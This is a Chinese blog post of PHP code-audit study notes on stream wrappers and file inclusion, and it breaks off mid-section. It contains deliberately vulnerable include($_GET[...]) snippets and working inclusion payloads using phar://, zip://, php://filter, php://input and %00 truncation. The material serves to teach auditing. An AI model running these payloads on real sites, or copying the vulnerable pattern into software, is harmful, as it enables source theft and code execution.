PHP代码审计 07 PHP伪协议和文件包含

本文记录 PHP 代码审计的学习过程,教程为暗月 2015 版的 PHP 代码审计课程

PHP 代码审计博客目录

1. 简介

  1. php 伪协议

    file:// — 访问本地文件系统
    http:// — 访问 HTTP(s) 网址
    ftp:// — 访问 FTP(s) URLs
    php:// — 访问各个输入/输出流(I/O streams)
    zlib:// — 压缩流
    data:// — 数据(RFC 2397)
    glob:// — 查找匹配的文件路径模式
    phar:// — PHP 归档
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音频流
    expect:// — 处理交互式的流

2. 测试

  1. php 任意文件包含

    $f = $_GET['f'];
    include_once('sys/config.php');
    include($f);
    

    利用zip伪协议读取压缩包中的文件

    /about.php?file=phar://./images/1499394959.jpg/1.php
    

    利用phar伪协议读取压缩包中的文件

    /about.php?file=zip://./images/1499394959.jpg%231.php    
    
  2. 读取页面源代码

    /about.php?file=php://filter/convert.base64-encode/resource=index.php
    

    以base64加密的形式读取页面源代码,然后在再对代码进行base64解密就可以得到源代码

    当php配置allow_url_include和allow_url_fopen都为On的时候,可以对文件进行远程包含

    例如:about.php?file=http://web/1.php
    

    当allow_url_include为On,而allow_url_fopen为Off的时候,不可以直接远程包含文件,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等伪协议

    例如about.php?file=php://input  post传输数据<?php phpinfo(); ?>
    

3. php伪协议实现命令执行的七种姿势

FreeBuf 链接地址

  1. 简介

    1. 常见的文件包含函数
      1. include

      1. require
      2. include_once
      3. require_once
      4. highlight_file
      5. show_source
      6. readfile
      7. file_get_contents
      8. fopen
      9. file
    2. 封装协议

      1. file://
      2. php://filter
      3. php://input
      4. zip://
      5. compress.bzip2://
      6. compress.zlib://
      7. data://
  2. 环境准备

    1. 在 php.ini 文件中

      allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

      allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。

    2. 为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5, 7.0;PHP版本<=5.2 可以使用%00进行截断。

  3. 什么情况下需要用到 %00 截断

    1. 不需要截断情况

      <?php
      include($_GET['file'])
      ?>
      

      浏览器执行 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt

    2. 需要截断的情况

      在php版本<=5.2中进行测试是可以使用%00截断的

      <?php
      include($_GET['file'].'.php')
      ?>
      

      浏览器执行 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00

  4. 什么情况下需要开启 allow_url_fopen 与 allow_url_include 功能

    1. file://

      用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

      allow_url_fopen :off/on
      allow_url_include:off/on
      

      file:// 官方参考文档

      使用方法:

      file:// [文件的绝对路径和文件名]

      浏览器执行 http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
      其中,phpcode.txt 中为

猜你喜欢

转载自blog.csdn.net/kevinhanser/article/details/81134242
今日推荐